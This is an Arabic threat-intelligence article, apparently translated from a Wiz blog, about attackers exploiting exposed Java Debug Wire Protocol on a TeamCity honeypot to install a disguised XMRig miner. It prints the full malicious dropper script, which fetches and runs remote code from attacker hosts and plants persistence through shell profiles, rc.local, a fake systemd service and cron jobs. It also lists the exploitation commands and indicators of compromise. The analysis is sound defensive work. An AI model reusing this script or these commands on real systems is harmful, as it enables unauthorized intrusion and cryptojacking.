أثناء المراقبة الروتينية، لاحظ فريق أبحاث Wiz محاولة استغلال تستهدف أحد خوادم مصيدة الجذب لدينا التي تقوم بتشغيل TeamCity، وهي أداة CI/CD شائعة. توصل تحقيقنا إلى أن المهاجم قد حصل على تنفيذ تعليمات برمجية عن بعد من خلال إساءة استخدام واجهة Java Debug Wire Protocol (JDWP) المكشوفة، مما أدى في النهاية إلى نشر حمولة تعدين العملات المشفرة وإعداد آليات استمرارية متعددة.

لقد وجدنا هذا الهجوم مثيرًا للاهتمام نظرًا لبعض النقاط الرئيسية:

  • استغلال سريع
    تم نشر البرامج الضارة في غضون ساعات قليلة من الكشف عن الجهاز الضعيف. لقد لاحظنا هذا التحول السريع عبر محاولات متعددة.

  • حمولة XMRig مخصصة
    استخدم المهاجم نسخة معدلة من XMRig مع تكوين مضمن، مما يسمح له بتجنب وسيطات سطر الأوامر المشبوهة التي غالبًا ما يتم الإبلاغ عنها من قبل المدافعين.

  • تعدين التشفير الخفي
    استخدمت الحمولة وكلاء مجمع التعدين لإخفاء عنوان محفظة العملة المشفرة الخاصة بهم، وبالتالي منع المحققين من التركيز عليه.

JDWP، وهو اختصار لـ Java Debug Wire Protocol، هو ميزة قياسية في نظام Java الأساسي، مصمم لمساعدة المطورين على تصحيح أخطاء التطبيقات المباشرة. فهو يسمح بالفحص عن بعد للخيوط والذاكرة وتدفق التنفيذ دون إعادة تشغيل التطبيق. لتمكينه، عادةً ما يبدأ المطورون تشغيل JVM بعلامة مثل تلك الموجودة أدناه. يخبر هذا الإعداد JVM بالاستماع إلى اتصالات مصحح الأخطاء على المنفذ 5005 وقبول الاتصالات الواردة على جميع الواجهات.

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

ومع ذلك، لا يقوم JDWP بتنفيذ المصادقة أو التحكم في الوصول بشكل افتراضي، ويعتبر تعريضه للإنترنت بمثابة تكوين خاطئ. وعندما يتم كشفها، فإنها تصبح نقطة دخول عالية الخطورة، مما يمنح المهاجمين السيطرة الكاملة على عملية Java الجاري تشغيلها. في هذه الحالة، سمح التكوين الخاطئ للخصم بإدخال وتنفيذ أوامر عشوائية، وإثبات الاستمرارية، وتنفيذ البرامج الضارة.

على الرغم من أن JDWP (Java Debug Wire Protocol) لا يتم تمكينه افتراضيًا في معظم تطبيقات Java، إلا أنه يُستخدم بشكل شائع في بيئات التطوير وتصحيح الأخطاء. تقوم العديد من التطبيقات الشائعة بتشغيل خادم JDWP تلقائيًا عند تشغيله في وضع التصحيح، وغالبًا ما يكون ذلك دون توضيح المخاطر للمطور. إذا تم تأمينه بشكل غير صحيح أو تركه مكشوفًا، فقد يفتح ذلك الباب أمام ثغرات أمنية في تنفيذ التعليمات البرمجية عن بُعد (RCE).

تتضمن أمثلة التطبيقات التي قد تقوم بتشغيل خادم JDWP عندما تكون في وضع التصحيح ما يلي:

  • TeamCity (خادم CI/CD تم تطويره بواسطة JetBrains)

  • جنكينز (أداة CI شائعة)

  • شبكة السيلينيوم (منصة اختبار المتصفح الموزعة)

  • بحث مرن (محرك بحث يعتمد على جافا)

  • كواركوس (إطار جافا السحابي الأصلي)

  • التمهيد الربيع (إطار جافا)

  • أباتشي تومكات (خادم ويب مفتوح المصدر)

كما ذكرنا سابقًا، لاحظنا استغلالًا سريعًا للغاية لمثيلات JDWP المكشوفة. في اختباراتنا، بعد نشر جهاز مزود بخادم JDWP مكشوف، اكتشفت أجهزة الاستشعار لدينا محاولات استغلال خلال ساعات قليلة فقط، عبر حالات متعددة. يوضح هذا أن JDWP هي خدمة مستهدفة للغاية. لدعم ذلك، استخدمنا ميزة البحث المستندة إلى العلامات في GreyNoise ووجدنا أكثر من 6000 عنوان IP فريد يتم فحصه بحثًا عن نقاط نهاية JDWP في آخر 90 يومًا.

خلال تحقيقنا، لاحظنا عدة محاولات لاستغلال JDWP صادرة من جهات فاعلة مختلفة، ولكن من أجل التبسيط قررنا تركيز هذه المدونة على حادثة واحدة تكون بمثابة مثال جيد للنشاط ككل. لاحظ أن مؤشرات التسوية (IoCs) المدرجة في الملحق تتعلق بجميع الأنشطة المرصودة، وليس فقط بهذه الحادثة بالذات.

بدأ المهاجم بالبحث عن منافذ JDWP المفتوحة عبر الإنترنت. وصلت إحدى عمليات الفحص هذه إلى خادم مصيدة الجذب الخاص بنا، والذي كان يكشف JDWP على المنفذ 5005. ثم أرسل المهاجم رسالة JDWP-Handshake طلب التأكد من أن الواجهة نشطة وإنشاء جلسة JDWP. استجاب JVM بتفاصيل الإصدار وقائمة الفئات المحملة، مما يؤكد أن JDWP مكشوف بالفعل وتفاعلي بالكامل.

توجد أعلاه لقطة شاشة من Wireshark تعرض بروتوكول JDWP-Handshake.

ومن هناك، اتبع المهاجم تسلسلًا منظمًا لتنفيذ التعليمات البرمجية عن بُعد، ومن المحتمل أن يستخدم أحد إصدارات jdwp-shellifier مع ميزات إضافية. قاموا بالاستعلام عن JVM للفئات والأساليب المتاحة، ثم حددوا موقعها java.lang.Runtime وما يرتبط بها getRuntime() و exec() طُرق.

خطوات الاستغلال المتبعة:

  1. إنشاء سلاسل Java تحتوي على أوامر النظام مثل:

    1. curl -o /tmp/logservice.sh -s <https://canonicalconnect[.]com/logservice.sh>

    2. bash /tmp/logservice.sh

  2. استدعاء Runtime.getRuntime() استخدام INVOKESTATICMETHOD_SIG

  3. تمرير سلسلة الأمر إلى exec() استخدام INVOKEMETHOD_SIG

توجد أعلاه لقطة شاشة من Wireshark تعرض حزم JDWP التي تحتوي على أوامر الاستغلال

تم تكرار هذه الخطوات باستخدام مجموعات مختلفة من الأوامر (wget, sh، وما إلى ذلك) لتنزيل حمولة الهجوم وإطلاقها.

تحت الغطاء، أصدر المهاجم تعليمات JDWP منخفضة المستوى بما في ذلك CreateString, get_all_classes, get_methodsوتوقيعات استدعاء الطريقة. لقد تم تشغيلها بالكامل من خلال بروتوكول JDWP، دون الحاجة إلى الوصول إلى التطبيق نفسه.

logservice.sh هو برنامج نصي بالقطارة مع الوظائف التالية:

  • اقتل القائمين بالتعدين المتنافسين أو أي عمليات ذات وحدة معالجة مركزية عالية (أي شيء يستخدم أكثر من 60% من وحدة المعالجة المركزية باستثناء القائمة المسموح بها الصغيرة من العمليات).

  • قم بإسقاط عامل تعدين XMRig الذي تم الحصول عليه من https[://]awarmcorner[.]world/silicon<architecture>blueprints.png داخل ~/.config/logrotate وتنفيذها.

  • قم بتثبيت الخطافات المستمرة في كل ملف بدء تشغيل Shell (.bashrc, .zshrc، وما إلى ذلك)، وrc.local، وsystemd، ومهام cron المتعددة، مما يضمن إعادة جلب الحمولة النافعة وإعادة تنفيذها عند كل تسجيل دخول إلى Shell، أو إعادة تشغيل، أو فاصل زمني مجدول.

  • حذف نفسه عند الخروج، وترك أثر ضئيل للغاية.

#!/bin/sh
 >/dev/null 2>&1
ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60  system("kill -9 " $1) '
EXEC="source <(wget -q -O - <http://185.196.8.123/logservice.sh> || curl -sL <http://185.196.8.123/logservice.sh>)"
trap 'rm -- "$0"' EXIT
if [ -z "$HOME+x" ]; then
   export HOME=/tmp
fi
mkdir -p "$HOME/.config" >/dev/null 2>&1
[ ! -f "$HOME/.config/logrotate" ] && 
   ARCH=$(uname -m)
   URL=""
   [ "$ARCH" = "x86_64" ] && URL="<https://awarmcorner.world/silicon64blueprints.png>"
   [ "$ARCH" = "aarch64" ] && URL="<https://awarmcorner.world/siliconarmblueprints.png>"
   [ "$ARCH" = "armv7l" ] && URL="<https://awarmcorner.world/siliconarmv7blueprints.png>"
   [ -z "$URL" ] && URL="<https://awarmcorner.world/silicon64blueprints.png>"
    wget -q -O "$HOME/.config/logrotate" "$URL"  >/dev/null 2>&1
   chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1

pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"
add_to_startup() 
   if [ -r "$1" ]; then
       if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then
           echo "$EXEC >/dev/null 2>&1" >> "$1"
       fi
   fi

case "$(ps -p $$ -o comm=)" in
   bash) add_to_startup "$HOME/.bashrc"
         add_to_startup "$HOME/.bash_logout" ;;
   zsh) add_to_startup "$HOME/.zshrc" ;;
esac
[ "$(id -u)" -eq 0 ] && 
   RCLOCAL=''
   [ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'
   [ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'
   [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
   cat >/etc/systemd/system/logrotate.service <<EOL
[Unit]
Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart=$HOME/.config/logrotate
Restart=always
Nice=-20
StandardOutput=null
[Install]
WantedBy=multi-user.target
EOL
   sudo systemctl daemon-reload 2>/dev/null
   sudo systemctl enable logrotate.service 2>/dev/null
   [ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
   [ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
   [ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
   [ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
   [ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
   [ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
   [ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
   [ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null

وكما ذكرنا سابقًا، قام المهاجم بنشر الحمولة الضارة تحت هذا الاسم com.logrotate، على الأرجح في محاولة للاندماج مع أداة النظام الشرعية التي تحمل الاسم نفسه وتجنب إثارة الشكوك. في الواقع هذا com.logrotate يعتبر ثنائي هو نسخة معدلة من XMRig، وهو عامل تعدين شرعي مفتوح المصدر للعملات المشفرة، والذي، على نحو غير مفاجئ، لا يزال المفضل لدى الجهات الفاعلة في مجال التهديد لتعدين العملات المشفرة غير المصرح به. كونه مفتوح المصدر، يوفر XMRig للمهاجمين سهولة التخصيص، والذي يتضمن في هذه الحالة تجريد كل منطق تحليل سطر الأوامر وترميز التكوين. لا يعمل هذا التعديل على تبسيط النشر فحسب، بل يسمح أيضًا للحمولة بتقليد الحمولة الأصلية com.logrotate عملية أكثر إقناعا.

بعد الحصول على التنفيذ، قام المهاجم بإعداد آليات ثبات متعددة. لقد لاحظنا أنهم يستخدمون مجموعة من نصوص التمهيد القديمة، وخدمات systemd الحديثة، ووظائف cron، وملفات تكوين Shell:

RC المحلية

لقد بدأوا بالتحقق من توزيع Linux وتعديل ملف التمهيد المناسب:

RCLOCAL=''
[ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'
[ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'
[ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"

خدمة سيستمز

بعد ذلك، قام المهاجم بإسقاط خدمة systemd مزيفة تنكرت على أنها logrotate. في الواقع، أشار ببساطة إلى الملف الثنائي الخبيث وتم ضبطه على إعادة التشغيل بشكل مستمر:

[Unit]
Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart=$HOME/.config/logrotate
Restart=always
Nice=-20
StandardOutput=null
[Install]
WantedBy=multi-user.target

البرامج النصية لبدء التشغيل لشركة Shell

لتشغيل الحمولة عند تسجيل الدخول أو تسجيل الخروج في المحطة الطرفية، قاموا بإلحاقها بملفات تكوين Shell الخاصة بالمستخدم:

case "$(ps -p $$ -o comm=)" in
   bash) add_to_startup "$HOME/.bashrc"
         add_to_startup "$HOME/.bash_logout" ;;
   zsh) add_to_startup "$HOME/.zshrc" ;;
esac

وظائف كرون

وأخيرًا، أنشأ المهاجم وظائف cron عبر مواقع وفواصل زمنية متعددة.

[ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
[ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
[ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
[ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
[ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
[ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
[ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
[ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null

كشف

يمكن لـ Wiz المساعدة في اكتشاف الهجمات مثل تلك الموضحة في هذه المدونة بعدة طرق:

  1. يكتشف نظام اكتشاف البرامج الضارة بدون وكيل لدينا هذه الأنواع من التهديدات المتطورة باستخدام كتالوج قواعد YARA الخاص بنا.

  2. يكتشف مستشعر Wiz Runtime الأحداث والسلوكيات المرتبطة بهذا التهديد والتهديدات المماثلة، وينبهك في كل خطوة من خطوات الهجوم: بدءًا من استغلال JDWP الأولي، وحتى التعديلات في خدمات crontab وخدمات النظام، وفي النهاية، نشاط تعدين العملات المشفرة.

IoC يكتب وصف
a923de9df0766d6c4be46191117b8cc6486cf19c شا-1 logservice.sh
1879d5fa0c2ca816fcb261e96338e325e76dca09 شا-1 logservice.sh
18d83ba336ca6926ce8b9d68f104cff053f0c2f9 شا-1 o.sh – نص الهجوم
815bc1a79440cdc4a7e1d876ff2dc7bc4f53d25e شا-1 com.logrotate
0851a95d46f035c7759782299422bcfd794e2aec شا-1 com.logrotate
7074d674d120d19aa7e44e29dd126af152ccdb7c شا-1 com.logrotate
2d4a23e861ef41df6953195fa4cda115e37a7218 شا-1 com.logrotate
baf0a3b92225f56499c6879b176a3d6163b9d3ef شا-1 com.logrotate
ea7c97294f415dc8713ac8c280b3123da62f6e56 شا-1 اكس امريج 6.22
185.196.8[.]123 الملكية الفكرية خادم الملفات
185.196.8[.]86 الملكية الفكرية خادم ملفات الحمولات
176.65.148[.]57 الملكية الفكرية الماسح الضوئي JDWP
176.65.148[.]86 الملكية الفكرية الماسح الضوئي JDWP
176.65.148[.]239 الملكية الفكرية الماسح الضوئي JDWP
185.208.156[.]247:3333 الملكية الفكرية تجمع التعدين
185.196.8[.]41 الملكية الفكرية تجمع التعدين
https://warmcorner[.]عالم اِختِصاص خادم ملفات الحمولات
https://aheatcorner[.]عالم اِختِصاص خادم ملفات الحمولات السابقة
https://canonicalconnect[.]com اِختِصاص خادم ملفات الحمولات
https://cozy[.]اليخوت اِختِصاص خادم ملفات الحمولات السابقة
https://s3.tebi[.]io/dhcpdc/o.sh عنوان URL عنوان URL للحمولة
شاركها.
اترك تعليقاً